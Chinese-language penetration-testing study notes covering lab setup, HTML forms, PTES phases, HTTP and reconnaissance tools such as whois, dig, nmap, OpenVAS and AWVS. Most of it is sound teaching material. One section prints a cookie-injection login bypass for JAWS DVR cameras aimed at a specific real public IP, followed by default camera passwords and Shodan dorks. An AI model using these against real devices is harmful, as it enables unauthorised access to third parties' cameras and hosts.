04 渗透测试基础

渗透测试基础

一 代码审计

1 基础环境搭建

(1) Web服务:WAMP+phpstudy

(2) phpstudy

启动问题
端口正常开放
80 http
3306 mysql

web根目录[C:\Users\dq\Documents\phpStudy-1-24\phpStudy\WWW]

  • php
    探针 phpinfo.php phpmyadmin
    Apache配置文件:[C:\phpStudy\Apache\conf\httpd.conf]
    Apache日志文件目录:[C:\phpStudy\Apache\logs]
  • mysql[root/root]
    将msql.exe所在位置放到环境变量中
    [mysql-uroot-proot]
    [C:\phpStudy\MySQL\my.ini]
  • PHP
    [ phpinfo();]
    [C:\ phpStudy\ php\ php-5.4.45]
    [C:\ phpStudy\ php\ php-5.4.45\ini]
  • 火狐浏览器
  • 输入法

2 HTML 表单

(1) 表单介绍

什么是表单? 搜索框、登录框、文件上传、注册、留言板 =====> 需要交互
交互: 双向交流
读写执行:
        读取 获取信息
        写入:发出信息
写操作:
        向服务器提交信息(写)
        搜集用户信息
小技巧:
        管理控制台
        查看器
                DOM     文档对象模型    树形结构
控制台:
        可以执行JS 代码
网络:
        页面的网络连接。
存储:
        存储了页面的cookie信息。

表单本身是一个框架,表单里会有很多控件(元素)。

(2) < form >元素:用以定义HTML表单

<form></form>
    action   数据提交到服务器的url,在提交表单时执行的动作,如果为空,提交到当前页面。
    method   提交方法
             get:默认值,在传输过程,数据被放在请求的URL中,传送的数据量较小,不安全。
                url中有显示
                url长度有限制
             post:无长度限制,所有操作对用户来说都是不可见的。
                 上传文件等等
                 http请求正文中
    enctype:
             application/x-www-form-urlencoded  默认值,特殊字符等都可以被提交
             multipart/form-data 上传文件时使用
             text/plain  只能将普通的数据提交(少数框架中使用)
             name 定义整个表单的名称
                 

(3) < input > 元素:定义输入域

元素定义输入域,根据不同的type属性,相应的input元素有很多形态,(name 属性:如果要正确地被提交,每个输入字段必须设置一个 name 属性。)
属性值
          text                   文本输入
          radio                单选按钮输入(选择唯一)
          submit             提交按钮(提交表单)
          checkbox        复选框
          password        密码输入

  • 文本输入
    定义用于文本输入的单行输入字段,实例:
    在这里插入图片描述

  • 单选按钮输入
    定义单选按钮,有限数量的选项中选择其中之一,实例:
    在这里插入图片描述

  • 提交按钮
    定义用于向表单处理程序(form-handler)提交表单的按钮。表单处理程序通常是包含用来处理输入数据的脚本的服务器页面。
    在这里插入图片描述

  • 密码输入
    < input type=“password” > 定义密码字段区域,表现效果 (密码字段中的字符是隐藏的(显示为星号或圆圈))
    在这里插入图片描述

  • 复选框(Checkboxes)
    定义了复选框. 从若干给定的选择中选取一个或若干选项。
    在这里插入图片描述

(4)< textarea > 元素

< textarea >定义一个多行的文本输入控件,文本区域中可容纳无限数量的文本,其中的文本的默认字体是等宽字体(通常是 Courier)。

可以通过 cols 和 rows 属性来规定 textarea 的尺寸大小,不过更好的办法是使用 CSS 的 height 和 width 属性
在这里插入图片描述

(5) < button > 元素

< button > 标签定义一个按钮。在 < button > 元素内部可以放置内容,比如文本或图像。这是该元素与使用 < input > 元素创建的按钮之间的不同之处。
提示:请始终为 元素规定 type 属性。不同的浏览器对 元素的 type 属性使用不同的默认值。
在这里插入图片描述

(6) < select > 元素

< select > 元素用来创建下拉列表。< select > 元素中的 < option > 标签定义了列表中的可用选项。< select > 元素是一种表单控件,可用于在表单中接受用户输入
在这里插入图片描述

(7) < fieldset > 组合表单数据

< fieldset > 元素组合表单中的相关数据
< legend > 元素为 < fieldset > 元素定义标题。

<form action="action_page.php">
<fieldset>
<legend>Personal information:</legend>
First name:<br>
<input type="text" name="firstname" value="Mickey">
<br>
Last name:<br>
<input type="text" name="lastname" value="Mouse">
<br><br>
<input type="submit" value="Submit"></fieldset>
</form>

在这里插入图片描述

(7) datalist 元素

datalist 元素规定输入域的选项列表。
列表是通过 datalist 内的 option 元素创建的。
如需把 datalist 绑定到输入域,请用输入域的 list 属性引用 datalist 的 id:
在这里插入图片描述

(8) keygen 元素

keygen 元素的作用是提供一种验证用户的可靠方法。
keygen 元素是密钥对生成器(key-pair generator)。当提交表单时,会生成两个键,一个是私钥,一个公钥。
私钥(private key)存储于客户端,公钥(public key)则被发送到服务器。公钥可用于之后验证用户的客户端证书(client certificate)。
目前,浏览器对此元素的糟糕的支持度不足以使其成为一种有用的安全标准

(9) output 元素

output 元素用于不同类型的输出,比如计算或脚本输出。

3 HTML CSS

4 HTML iframe

5 vulhub安装

6 php基础+变量

7 运算符

8 流程控制语句

9 PHP函数

10 PHP数组

11 PHP Cookie

12 PHP SESSION

13 PHP与MySQL

14 注册功能实现

15 PHP个人中心设计

16 留言实现

17 JS基础

18 JS函数

19 JS事件

20 HTML标签基础

21 HTML表格

21 HTML常用标签

二 渗透测试导论

1 渗透测试方法导论

渗透测试(penetration testing,pentest)是实施安全评估(即审计)的具体手段。方法论是在制定、实施信息安全审计方案时,需要遵循的规则、惯例和过程。人们在评估网络、应用、系统或三者组合的安全状况时,不断探索各种务实的理念和成熟的做法,并总结了一套理论——渗透测试方法论。

2 渗透测试的种类

黑盒测试

在进行黑盒测试时,安全审计员在不清楚被测单位的内部技术构造的情况下,从外部评估网络基础设施的安全性。在渗透测试的各个阶段,黑盒测试借助真实世界的黑客技术,暴露出目标的安全问题,甚至可以揭露尚未被他人利用并按照风险等级(高、中、低)对其排序。通常来说,风险级别取决于相关弱点可能形成危害的大小。

白盒测试

从被测系统环境自身触发,全面消除内部安全问题。从而增加了从单位外部渗透系统的难度。黑盒起不了这样的作用。

脆弱性评估与渗透测试

通过分析企业资产面临安全威胁的情况和程度,评估内部和外部的安全控制的安全性。

安全测试方法论

开放式Web应用程序安全项目:OWASP(测试指南、开发指南、代码审查指南 OWASP top 10),10大安全威胁要记住并且表述清楚
注入:sql注入
失效的身份认证:爆破
敏感数据泄露:传输、存储、浏览器的交互数据(后台管理员数据泄露、未授权访问、源码泄露)
xml外部实体(XXE):
失效的访问控制:
安全配置错误:
跨站脚本:
不安全的反序列化:
使用含有已知漏洞的组件:
不足的日志记录和监控:

通过缺陷列表,某一类漏洞编号库CWE
通用漏洞与披露,某一个漏洞编号库CVE

三 OpenVas

OpenVas是开源的网络漏洞扫描器,自从 Nessus 收费了之后,分支出来的项目。
网址:http://www.openvas.org
web端管理接口
4.9之后支持中文
[gsm-ce-5.0.10.iso]

新建虚拟机
推荐配置
    推荐VirtualBox安装
    系统:Linux
    版本:其他Linux 64位
    内存:4G
    硬盘:9G
    CUPS

四 渗透测试执行流程

1 渗透测试执行标准

        渗透测试执行标准(Penet rat ion Testing Execution Standard,PTES)的先驱都是渗透测试行业的精英。这个标准有渗透测试7个阶段的标准组成,可以在任意环境中进行富有成果的渗透测试。 [http://www.pentest-standard.org/index.php/Main_Page]
[software:http://www.pentest-standard.org/index.php/PTES_Technical_Guidelines]

        从技术管理的角度来看,遵循正规的测试框架对安全测试极为重要。通用渗透测试框架涵盖了典型的审计测试工作和渗透测试工作会涉及到的各个阶段。

(1) 相关阶段如下

1) 范围界定
        在开始技术性安全评估之间,务必要观察、研究目标环境的被测范围。同时还要了解,这个范围牵扯多少个单位,是单个单位还是多个单位会参与到安全评估的工作中来,在范围界定阶段,需要考虑的典型因素如下。

  • 测试对象是什么?
  • 应当采取何种测试方法
  • 有哪些在测试过程中需要满足的条件
  • 哪些因素可能会限制测试执行的过程
  • 需要多久才能完成测试
  • 此次测试应当达成什么样的任务目标

2) 信息搜集
        在划定了测试范围之后,就需要进入信息收集阶段。在这个阶段,渗透人员需要使用各种公开资源尽可能地获取测试目标的相关信息。

        他们从互联网上搜集信息的互联网渠道主要有:论坛|公告板|新闻组|媒体文章|博客|社交网络|其他商业或非商业性的网站。此外,他们也可以借助各种搜索引擎获取相关数据,如谷歌、雅虎、MSN必应、百度等。收集的信息主要包括DNS服务器、路由关系、whois数据库、电子邮件地址、电话号码、个人信息以及用户账户。收集的信息越多,渗透测试成功的概率越高。

3) 目标识别
        这个阶段的主要任务是识别目标的网络状态操作系统网络架构。该阶段工作旨在完整地展现目标网络里各种联网设备或技术的完整关系,以帮助测试人员在接下来的工作里枚举目标网络的各种服务

4) 服务枚举
        这一阶段会根据前面各个阶段的成果,进一步找出目标系统中所有开放的端口。一旦找到了所有开放的端口,就可以通过这些端口来列出目标系统上运行的服务。主机上开放的端口都有相应的服务程序,对这些信息进行深度分析之后,可进一步发掘目标网络基础设施中可能存在的漏洞。

5) 漏洞映射===>漏洞扫描
        可以根据已经发现的开放端口和服务程序,查找、分析目标系统中存在的漏洞。如果能够采用自动和手动这两种不同的测试方法结合起来,审计人员对目标系统的认知就会更为清晰、透彻,并能够仔细地检查任何已知和未知的漏洞。

6) 社会工程学
        如果目标网络没有直接的入口,欺骗的艺术将起到抛砖引玉的重要作用。对目标组织中的人员进行定向攻击,很有可能帮助我们找到渗透目标系统的入口。例如,诱使用户运行安装后门的恶意程序,就可能为审计人员的渗透工作形成突破。社会工程学渗透分为多种不同实现形式。伪装成网络管理员,通过电话要求用户提供自己的账户信息;发送钓鱼邮件来劫持用户的银行账户;甚至诱使某人出现在某个地点一这些都属于社会工程学攻击。
        在社会工程学中,达成同一既定目标的实现方式应有尽有。需要注意的是,在对目标实施欺骗以达成渗透目标之前,多数情况下需要长时间研究目标人员的心理。另外,在开展这个阶段的工作之前,您需要实现研究过内的法律是否有关于社会工程学的相关条款。

7) 漏洞利用
        在仔细检查和发现目标系统中的漏洞之后,就可以使用已有的漏洞利用程序对目标系统进行渗透。审计人员可以把客户端漏洞利用程序和社会工程学进行结合,进而控制目标系统。这个阶段的主要任务是控制目标系统。这个流程可以分为三步,涉及攻击前、攻击、攻击后的相关行动

8) 权限提升
        获取目标系统的控制权是渗透成功的标识。接下来,审计人员就可以根据其所拥有的访问权限,在被测系统中自由发挥。审计人员也可以使用适用于目标系统的本地漏洞来提升自己的权限。只要他们能偶在目标系统上运行提权漏洞利用程序,就可以获得主机的超级用户权限或者系统级权限。审计人员还可以以该主机为跳板,进一步攻击局域网络
        根据之前渗透范围的界定,审计人员接下来会开展的攻击可能是受限制的,也可能是不受限制。然后,他们很有可能以各种方式获得与控制系统有关的更多信息。具体的说,他们可能是用嗅探手段截获网络数据包,破解各种服务的密码,在局域网络中使用网络欺骗手段。所以说,提升权限的最终目的是获得目标系统的最高访问权限

9)访问维护
        多数情况下,审计人员需要在一段时间内维护他们对目标系统的访问权限。例如**,在演示越权访问目标系统的时候,安装后门将节省重新渗透目标系统所耗费的大量时间。**这种情况下,访问维护将节约获取目标系统访问权限所需要的时间、花费和资源。**审计人员可以通过一些秘密的通信隧道,在既定时间内维持对目标的访问权限。**这些隧道往往基于特定协议、代理或者点对点方法的后门程序。这种对系统的访问方法可以清楚地展示,入侵人员在目标系统实施攻击时隐藏行踪的具体方法。

10)文档报告
        在渗透测试的最后一个环节里,审计人员要记录、报告并现场演示那些已经识别、验证和利用了的安全漏洞。在被测单位的管理和技术团队会检查渗透时使用的方法,并会根据这些文档修补所有存在的安全漏洞。所以从道德角度来看,文档报告的工作十分重要。并为了帮助管理人员和技术人员共同理解、分析当前IT基础架构中的薄弱环节,可能需要给不同的部门]撰写不同措辞的书面报告。此外,这些报告还可以用来获取和比渗透测试前后系统目标的完整性。

(2) 简化的渗透测试流程是在进行渗透测试过程中经常使用的流程,具体如下。

在这里插入图片描述

(3) 黑客攻击的一般过程

在这里插入图片描述

(4) 渗透测试技术指南(形成自己的流程)

五 web架构与安全分析

1 Web工作机制

在这里插入图片描述
当我们输入网址后
主机先查找本地缓存 ====> host文件 ====> IP/ARP ====> DNS ====> IP ====> 网关 ====> 路由 ====> 到达对方主机 ====> 访问80 443端口 ====> 3次握手 ====> 建立连接 ====> HTTP数据包 ====> HTTP响应包(如果访问的.html文件,找到后直接发过来;访问的是.php文件,则需要解析;php连接mysql,则php将数据库的运行结果返回到客户端)

2 网页、网站

  • 我们可以通过浏览器.上网看到的精美页面,–般都是经过浏览器渲染过的。
  • HTML页面,其中包含了css等前端技术。多个网页的集合就是网站

3 Web容器

  • Web容器,也叫Web服务器,主要提供Web服务,也就是常说的HTTP服务。
  • 常见的Web容器有:Apache(支持php)/IIS(支持.net,nsp,php)/Nginx(php,反向代理功能,负载均衡) 等。

4 静态的网页

  • 静态的网页,都是一些.html文件,是纯文本文件。这些文件中包含html代码。
  • HTML(Hype rText Markup Language,超文本标记语言),在浏览器中解释运行。

5 中间件服务器

以上这种,只能单向地给用户展示信息。随着Web的发展,信息要双向流动,产生了交互的需求,也就是动态网页的概念;所谓动态就是利用flash、Php、asp、Java等技术在网页中嵌入一些可运行的脚本,用户浏览器在解释页面时,遇到脚本就启动运行它。

脚本的使用让Web服务模式有了"双向交流”的能力,Web服务模式也可以象传统软件一样进行各种事务处理,如编辑文件、利息计算、提交表单等,Web架构的适用面大大扩展。

这些脚本 可以嵌入在页面中,如JS等。也可以以文件的形式单独存放在Web服务器的目录里,如.asp、.php、jsp文件等。 这样功能性的脚本越来越多,形成常用的工具包,单独管理,Web业务开发时,直接使用就可以了,这就是中间件服务器,它实际上是Web服务器处理能力的扩展

6 数据库的出现

静态网页与脚本都是事前设计好的,一般不经常改动,但网站上很多内容需要经常的更新,如新闻、博客文章、互动游戏等,这些变动的数据放在静态的程序中显然不适合,传统的办法是数据与程序分离,采用专业的数据库。

Web开发者在Web服务器后边增加了一个数据库服务器,这些经常变化的数据存进数据库,可以随时更新。当用户请求页面时,脚本根据用户请求的页面,涉及到动态数据的地方,利用SQL数据库语言,从数据中读取最新的数据,生成“完整"页面,最后送给用户

7 HTTP协议概述

HTTP(HyperText Transfer Protocol,超文本传输协议)是浏览器与Web服务器之间的通信协议,将html文档从Web服务器传输到Web浏览器,是一个请求和响应的协议。HTTP协议使用可靠的 TCP 传输,默认端口80。支持浏览器/服务器模式。

浏览器向服务器提出请求时,只需要传输请求方法和请求路径。
灵活:HTTP运行传输任意类型的数据对象。【.html 纯文本;.jpg 图片;.mp3 音频】
HTTP协议是无状态的协议。

8 URL

统一资源定位符(网址),用来告诉Web容器,浏览器所请求资源(文件)的路径。例如:
http://localhost/cms/show.php?id=32
schema://login:password@adress:port/path/to/resource/?query_string#fragment

port        80
login       用户名
password    密码       匿名访问时,默认没有这两个内容
fragment    锚点
@           URL编码

URL中允许出现的字符是有限制的,URL中path开始允许直接出现A-Za-z0-9
半角减号(-)、下划线句点(.)、波浪号(~)。其他字符均会被百分号编码。如下:
#        %23
[ ]      %20,在进行编程的时候,我们会用 + 代替空格
%23      %25%23%33

9 报文分析工具

  • F12
  • wireshark
  • fiddler
  • burp suit

10 HTTP请求由请求行、请求头、请求正文

⭐请求行:方法,资源路径,协议/版本

方法:GET
资源路径:/test/1.html
协议/版本:HTTP/1.1

                   【实验一:利用telnet模拟浏览器发送HTTP请求】
第一步:telnet 172.16.132.161 80

第二步:
GET /php/test/get.php HTTP/ 1.1
HOST: 172.16.132.161

第一步:telnet wwW.baidu.com 80
第二步:
GET /HTTP/1.1
HOST:www.baidu.com

                   【实验二:利用telnet传送GET参数】
GET /php/test/get.php?name=AJEST&pwd=123456 HTTP/1.1
HOST: 172. 16.132.161        

                   【实验三:利用telnet模拟POST请求传递参数】
                 

⭐请求头

从请求报文第二行开始到第一个空行为止之间的内容,其中包含很多字段。
主要字段
【Host】主要用于指定被请求资源的Internet主机和端口号
【User-Agent】浏览器指纹
【Referer】包含一个URL,代表当前URL的上一个URL
【Cookie】记录请求者的身份认证信息
【Accept-Charset】用于指定客户端接收的字符集
【Content-Type】用于向接收方指示实体的介质类型,即数据类型
【Content-Length】用于指明实体正文的长度,以字节方式存储的十进制数字来表示
【Last-Modified】用于指示资源的最后修改时间和日期
【RESPONSE】响应报文。如下

⭐请求正文

【Get方法】 没有请求正文。
【POST方法】 可以向服务器提交参数以及表单,包括文件流等。
【HEAD方法】 与GET方法类似,但在服务器响应中只返回首部。
【PUT方法】 与GET从服务器读取文档相反,PUT方法会向服务器写入文档。
【TRACE方法】 回显浏览器的请求。
【OPTIONS方法】 OPTIONS方法请求Web服务器告知其支持的各种功能。
【DELETE方法】 DELETE方法请求服务器删除请求URL所指定的资源。

插件推荐hackbar
在这里插入图片描述

11 RESPONSE响应报文

响应报文由状态行响应头响应正文三部分组成。

【状态行】 协议/版本,状态代码,描述短语 HTTP/1.1 200 0K
协议/版本:HTTP/1.1状态代码:200描述短语:0K

【状态代码】
100~199            信息性状态码
200~299            成功状态码
300~399            重定向状态码
400~499            客户端错误状态码
500~599            服务器错误状态码

【响应头】第二行开始到第一个空行为止的所有内容,其中包含了关于HTTP响应的重要字段。

【主要字段】
Server                    服务器指纹
Set-Cookie                向浏览器端设置Cookie 
Last--Modified            服务器通过这个头信息告诉浏览器,资源的最后修改时间
Content-Length            请求正文的长度.
Location                  重定向目标页面
Refresh                   服务器通过Refresh头告诉浏览器定时刷新浏览器Cookie与Session机制
Cookie 与Session 机制      Cookie通过在客户端记录信息确定用户身份,Session通过在服务器端记录信息确定用户身份。

【响应正文】
一般是返回一个网页。

12 同源策略的条件(js代码只能读取同一个域下的网页)

  • URL的主机(FQDN:Fully Qualified Domain Name全称域名)一致
  • Schema-致
  • 端口号一致
    同源策略的保护对象不仅仅是iframe 内的文档。比如,实现Ajax时所使用的XMLHt tpRequest对象能够访问的URL也受到了同源策略的限制。

六 信息收集

在划定了测试范围之后,就需要进入信息收集阶段。在这个阶段,渗透人员需要使用各种公开资源尽可能地获取测试目标的相关信息。他们从互联网上搜集信息的互联网渠道主要有:

  • 论坛
  • 公告板
  • 新闻组
  • 媒体文章
  • 博客
  • 社交网络
  • 其他商业或非商业性的网站
  • github

从吾爱漏洞上发现一个信息搜集总结,言简意赅,有时间可以自己再重新整理一版简介的渗透测试过程 http://www.52bug.cn/hkjs/6661.html。

此外,他们也可以借助各种搜索引擎中获取相关数据,如谷歌、雅虎、MSN必应、百度等。收集的信息主要包括DNS服务器、路由关系、whois数据库、电子邮件地址、电话号码、个人信息以及用户账户。收集的信息越多,渗透测试成功的概率越高。

【练手网站】
[1] 本课程以**[testfire.net]为目标,testfire.net 是IBM公司为了演示旗下比较有名的Web漏洞扫描器AppScan**的强大功能所搭建的模拟银行网站,所以上面会有很多常见的Web安全漏洞。
[2] [http://www.vulnweb.com/]为演示Acunetix搭建的网站。

⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐信息收集⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐

1 域名信息的收集

当我们确定了渗透的目标,也就获取了目标对应的域名,我们需要获取域名对应的 IP 、域名的 whois 信息(whois baidu.com)子域名等一系列信息。

1.1 域名注册信息查询

从whois信息返回的结果中可以获取DNS服务器的信息,以及域名注册人的联系方式,这些信息会在渗透测试的后续阶段发挥重要作用。

1.1.1 站长之家的whois查询

站长之家whose查询:http://whois.chinaz.com/.

1.1.2 Kali-whois查询

例如:whois xxxx.xxx.xx
whois xxxxxxxxx.com

1.2 域名/子域名

  • 记录大型网站曾经在互联网上出现的必要信息 https://searchdns.netcraft.com/.
  • 子域名爆破:Layer子域名挖掘机(重要的是字典)
  • 子域名爆破:dnsrecon(kali下)
    在这里插入图片描述
  • https://www.webscan.cc/
  • kali之fierce命令
    fierce -dns xxxxx.xxx -threads 100
【域传送漏洞】

DNS区域传送(DNS zone transfer)指的是一台备用服务器使用来自主服务器的数据刷新自己的域(zone)数据库。这为运行中的DNS服务提供了一定的冗余度,其目的是为了防止主的域名服务器因意外故障变得不可用时影响到整个域名的解析。一般来说,DNS区域传送操作只在网络里真的有备用域名DNS服务器时才有必要用到,但许多DNS服务器却被错误地配置成只要有Client发出请求,就会向对方提供一个zone数据库的详细信息,所以说允许不受信任的因特网用户执行DNS区域传送(zone transfer)操作是后果最为严重的错误配置之一
1可以使用dig工具来检测域传送漏洞,命令如下[dig axfr @dns.example.com example.com]

通过域传送漏洞可以获取子域名信息和子域名对应的ip地址。
在这里插入图片描述

1.3 真实 IP 获取

如果 IP 地址 不是真实的,测试会出现偏差。例如,测试的端口服务全都是假的。

1.3.1 ping 命令[非权威解答]

例如:ping www.xxxxxx.xxx.xx(下面举例对象不涉及真实域名和ip,仅以xxx代替)

1.3.2 nslookup[非权威解答]

例如:nslookup www.xxxxxx.xxx.xx

1.3.3 dig工具
dig @8.8.8.8 testfire.net          指定dns服务器
dig +trace testfire.net            获取域名的详细解析过程

1.3.4 dnsenum工具 ⭐⭐⭐⭐⭐
 dnsenum testfire.net               此处推荐使用dnsenum此款工具在解析域名的时候,会自动检测域传送漏洞。
1.3.5 站长之家

http://tool.chinaz.com/dns/

1.3.6 IP138 查询网

IP138 查询网: https://site.ip138.com/gzhu.edu.cn/.

1.4 CDN加速的问题

本意是进行节点缓存,使网站访问速度加快。一般情况下是没办法得到目标网站的真实IP的。关于CDN加速可以作为一个课题。参考资料绕过CDN查找网站真实IP方法收集.
如何获取目标网站真实IP.
对某使用了CDN网站的渗透过程.
获取cdn 反向代理等大型网络IP方法.

例如:xxx.cdn.xxx… ip地址(这是CDN地址,不是真实的IP地址)
关于如何绕过CDN,参考谢公子的博客——绕过CDN查找网站真实ip:https://blog.csdn.net/qq_36119192/article/details/89151336.

如果网站上有订阅功能,则很方便找到真实的ip地址。

1.5 同IP网站查询 ----> 旁站(在同一个服务器上)/C段(在同一个网段上)

1.6 IP2Location

https://www.maxmind.com/zh/home

2 敏感信息网上搜集

2.1 google hacking ⭐⭐⭐

  • 探索网站目录结构 “parent directory” site:test.fire.net
  • 搜索容易存在sql注入的页面 site:testfire.net inurl:login
  • 指定文件类型 filetype pdf
  • 搜索phpinfo()
intext:"PHP Version" ext:php intext:"disabled" intext: "Build Date" intext:"System" intext:"allow_ url_ fopen"
【搜索iis6.0组件】
app:"Microsoft IIS httpd" ver:"6.0"

【搜索开启3389端口的windows主机】
port:3389 0S:windows 

【实例:公网摄像头本地js认证】
利用shodan搜索:JAWS/1.1
默认:admin 空
77.235.202.58:8080
在控制台中输入以下JS代码,然后直接访问[/view2.html]--->77.235.202.58:8080/view2.html,
即可绕过登录验证进入控制台。
document.cookie="dvr_camcnt=4";
document.cookie="dvr_usr=admin";
document.cookie ="dvr_pwd=123";


【其他摄像头默认账号】👍
📕 海康威视IP网络摄像机admin,密码:12345
Hikvis ion Se rver:DVRDVS-Webs
📕 大华网络摄像机admin,密码:888888
📕 天地伟业网络摄像机Admin,密码:111111
  • 钟馗之眼
    ZoomEye支持公网设备指纹检索和Web指纹检索。
    网站指纹包括应用名、版本、前端框架、后端框架、服务端语言、服务器操作系统、网站容器、内容管理系统和数据等。
    帮助手册:https://www.zoomeye.org/help
【搜索iis6.0组件】
app:"Microsoft IIS httpd" ver:"6.0"

【搜索开启3389端口的windows主机】
port:3389 0S:windows 
  • 参考
域传送漏洞   https://github.com/lijiejie/edu-dns-zone-transfer 
收集子域名的思路   https://www.secpulse.com/archives/53182.html 
Web信息收集  https://blog.csdn.net/redbu1l/article/details/78763738
shodan语法 http://www.freebuf.com/sectool/121339.html 
关于摄像头 http://0day5.com/archives/3766/
GHDB https://www.exploit-db.com/google--hacking-database/

3 网站指纹识别——收集web服务器信息

网站指纹识别是指识别目标服务器相应的web容器,或者整站系统(CMS)。常见的CMS有:WordPress、Dedecms、Discuz、PhpWeb、PhpWind、Dvbbs、PhpCMS、ECShop、SiteWeaver、AspCMS、帝国、Z-Blog等。.

3.1 火狐插件

Netcraft Extension
Wappalyzer
https://www.netcraft.com/

3.2 在线指纹识别网站:

BugScaner:http://whatweb.bugscaner.com/look/.
云悉指纹:http://www.yunsee.cn/finger.html.
WhatWeb:https://whatweb.net/.

4 整站分析

备注:整站分析部分的内容学习自谢公子的博客.

(1) 服务器类型(Linux/Windows)

1)Ping探测

可以通过ping探测来测试服务器的操作系统是Linux还是Windows,Windows的TTL值一般是128,Linux则是64。(这种方式不是绝对有效的,因为有的Windows服务器的TTL值只有几十,或者有的服务器会禁止Ping)。

2)nmap扫描

nmap -o IP地址

(2) 网站容器(Apache/Nginx/Tomcat/IIS)

渗透测试时,我们需要知道目标网站的Web服务器软件及其版本。探测Web服务器软件的方法有很多,如linux下的nmap这款强大的端口扫描工具,这里介绍另一款httprint,httprint可以运行在windows上,是一款图形界面的软件,使用很方便。

Nmap中文手册:http://www.nmap.com.cn/doc/manual.shtm.

(3) 脚本类型

常见脚本类型有:php、Jsp、Asp、Aspx

个人认为要通过网站的URL来判断脚本类型这件事,还是需要安全人员对各个脚本类型的框架构建有一定的掌握。
php、jsp、asp和aspx的区别:https://blog.csdn.net/qq_36119192/article/details/84593150.
网站URL分类解读:https://www.seodajun.com/seojiaocheng/1097.html.

(4) 数据库类型(Mysql/Oracle/Accees/Mqlserver)

常见数据库类型有:Mysql、Oracle、SqlServer 、 Access 。

  • Access是一款小型数据库,数据库后缀名为 .mdb,一般asp的网页文件用Access数据库。
  • SQL Server是一款比较大型的数据库,端口号为1433,数据库后缀名为 .mdf。
  • MySQL是一款最流行的关系型数据库管理系统,在WEB应用方面MySQL是最好的应用软件之一,MySQL数据库大部分是php的页面,默认端口号3306。
  • Oracle是一款关系数据库管理系统,常用于比较大的网站,默认端口为1521。

常见搭配:
ASP 和 ASPX:ACCESS、SQL Server
PHP:MySQL、PostgreSQL
JSP:Oracle、MySQL

5 主机扫描(Nessus) ⭐⭐⭐

📕📕📕 NeXposs+Nessus+OpenVAS(开源)
Nessus自定义扫描策略:https://www.freebuf.com/column/144954.html.
Nessus的高级扫描方法:https://www.freebuf.com/column/144167.html.

基于Nmap进行Ping扫描方式,然后显示在线的主机: nmap -sP 192.168.20.16/24
nmap主机发现使用举例:https://www.jianshu.com/p/29d503ec07f2.

ZenmapNmap官方提供的图形界面,是用Python语言编写而成的开源免费的图形界面,能够运行在不同操作系统平台上(Windows/Linux/Unix/Mac OS等)。

可参考文章:Nmap和Zenmap详解

5.1 黑盒扫描

        黑盒扫描一般都是通过远程识别服务的类型和版本,对服务是否存在漏洞进行判定。在一些最新的漏洞扫描软件中,应用了–些更高级的技术,比如模拟渗透攻击等。

5.2 白盒扫描

        白盒扫描就是在具有主机操作权限的情况下进行漏洞扫描。比如微软的补丁更新程序会定期对你的操作系统进行扫描,查找存在的安全漏洞,并向你推送相应的操作系统补丁。
        白盒扫描的结果更加准确,但-般来说它所识别出的漏洞不应当作为外部渗透测试的最终数据,因为这些漏洞由于防火墙和各类防护软件的原因很可能无法在外部渗透测试中得到利用。同时,–般情况下你是没有机会获取用户名和口令。
        漏洞扫描器一般会附带一个用于识别主机漏洞的特征库,并定期进行更新。在漏洞扫描的时候,就是利用特征库里的脚本与目标系统的反馈信息进行匹配,如果能够匹配上,就说明存在某一个漏洞。
        漏洞扫描器在识别漏洞的过程中,会向目标发送大量的数据包,有时候会导致目标系统拒绝服务或被扫描数据包阻塞,扫描行为也会被对方的入侵检测设备发现。
        漏洞扫描器扫描出的结果通常会有很多误报(报告发现的漏洞实际并不存在)或者漏报(未报告发现漏洞但漏洞实际存在)。因此,需要对扫描结果进行人工分析,确定哪些漏是实际存在的,这个过程就叫做漏洞验证。这是渗透测试过程中不可缺少的一步,只有验证漏洞存在的真实性,才能对漏洞进行深度利用。
        渗透测试工作中,在得到客户认可的情况下,可以使用扫描器进行扫描,但使用时一定要注意规避风险,对其系统运行可能造成的影响将到最低。

5.3 OpenVAS(开源)⭐⭐⭐

直接跳转到0penVAS登入界面。
使用帐密[admin/123456],即可登入系统。

  • 扫描目标
    开始进行扫描的时候需要新建一个目标。
    新建目标
    填写好相关信息,点击[Create]。
    创建好的目标如下
  • 扫描策略
    查看扫描模板,就是在扫描过程中使用的扫描策略和配置,这个扫描模板也可以自己配置。
  • 扫描任务
    创建好目标之后,我们创建扫描任务。
    新建任务。
    填写好相关信息,名称自定义。扫描目标要选择之前我们配置过的,会以下拉列表的形式展现。
    创建好的扫描目标如下。点击开始按钮开始扫描。
  • 扫描完成
    扫描结束之后,显示已经完成。
  • 扫描报告
    我们可以将扫描结果以报告的形式保存下来。这里报告格式自选。
    下载好的报告如下。

6 端口扫描(nmap) ⭐⭐⭐

  • Nmap探测:nmap -sV -allports IP地址
  • Zenmap探测

7 网站敏感目录和文件

  • 御剑目录扫描器:该工具输入域名,选择字典之后即可进行扫描。
  • Kali-dirb目录探测:dirb http://xxx.xxx.xxx.xx
  • dirbuster扫描工具
  • webdirscan
  • burpsuite爬虫模块

8 旁站和C段扫描

旁站指的是同一服务器上的其他网站。1个ip有可能有100个系统同时使用,有些网站可能不是那么容易入侵,那么查询该服务器上的其他网站,攻下其中一个,再通过提权拿到服务器的权限,自然可以拿到该网站了。

在线查询地址
http://www.webscan.cc/

9 网站漏洞扫描⭐⭐⭐

9.1 进行Web漏洞扫描的时候,大致分为一下几个步骤**

爬行网站目录
使用漏洞脚本扫描
保存扫描结果

9.2 AWVS扫描:

AWVS13.x破解版(Windows+ Linux)https://www.cnblogs.com/fhff/p/12860160.html.
AWVS扫描工具使用教程 https://www.cnblogs.com/weifeng1463/p/10269432.html
AWVS的安装和使用(linux)https://blog.csdn.net/qq_35569814/article/details/102136628

AWVS低版本是一个程序,高版本是web端页面。扫描testfire.net

  • 创建扫描目标
    点击[New Scan],即可打开扫描向导,在Website URL中输入网址[http://www.testfire.net],跟着向导一步–步配置即可。
  • 设置扫描策略,如果没有特殊的要求,默认即可。
    在目标阶段,AWVS会自动识别目标Web服务相关信息,包括系统、Web容器类型和版本、中间件信息。
    如果网站中有登录框,可以将测试账号账密填写在下方。
  • 点击[Finish],即可完成扫描向导,开始扫描工作。
    Web漏洞扫描需要一定的时间,等待即可。
    下图是扫描完成的结果。整个页面布局左/中/右三个部分。最左侧是–些小工具列表。中间部分是漏洞点和网站结构目录。
  • 关于漏洞报告
    漏洞名称
